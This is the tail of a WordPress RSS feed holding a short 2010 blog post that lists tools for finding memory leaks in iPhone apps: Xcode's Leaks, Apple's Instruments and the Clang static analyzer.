		<description><![CDATA[Once your iPhone application is done, it is good to check the possible memory leaks who could cause your application to crash. So here is a the list: Leaks application that can be found in Xcode: run -&#62; Start with Performance Tool -&#62; Leaks Apple&#8217;s Instruments utility that can be found in /Developer/Applications/Performance Tools Clang, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bcaccinolo.wordpress.com&amp;blog=10965680&amp;post=3&amp;subd=bcaccinolo&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Once your iPhone application is done, it is good to check the  possible memory leaks who could cause your application to crash. So here  is a the list:</p>
<ul>
<li>Leaks application that can be found in Xcode: run -&gt; Start with Performance Tool -&gt; Leaks</li>
<li>Apple&#8217;s <a rel="nofollow" href="http://developer.apple.com/documentation/DeveloperTools/Conceptual/InstrumentsUserGuide/Introduction/chapter_1_section_1.html">Instruments</a> utility that can be found in /Developer/Applications/Performance Tools</li>
<li>Clang, an static code analyzer to find bugs in objective-c code:<a rel="nofollow" href="http://clang.llvm.org/StaticAnalysis.html"> http://clang.llvm.org/StaticAnalysis.html</a></li>
</ul>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bcaccinolo.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bcaccinolo.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bcaccinolo.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bcaccinolo.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bcaccinolo.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bcaccinolo.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bcaccinolo.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bcaccinolo.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bcaccinolo.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bcaccinolo.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bcaccinolo.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bcaccinolo.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bcaccinolo.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bcaccinolo.wordpress.com/3/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bcaccinolo.wordpress.com&amp;blog=10965680&amp;post=3&amp;subd=bcaccinolo&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bcaccinolo.wordpress.com/2010/09/15/iphone-essential-performance-tools-list/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/39c15208401288a850fcae7fa884e45c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">bcaccinolo</media:title>
		</media:content>
	</item>
	</channel>
</rss>
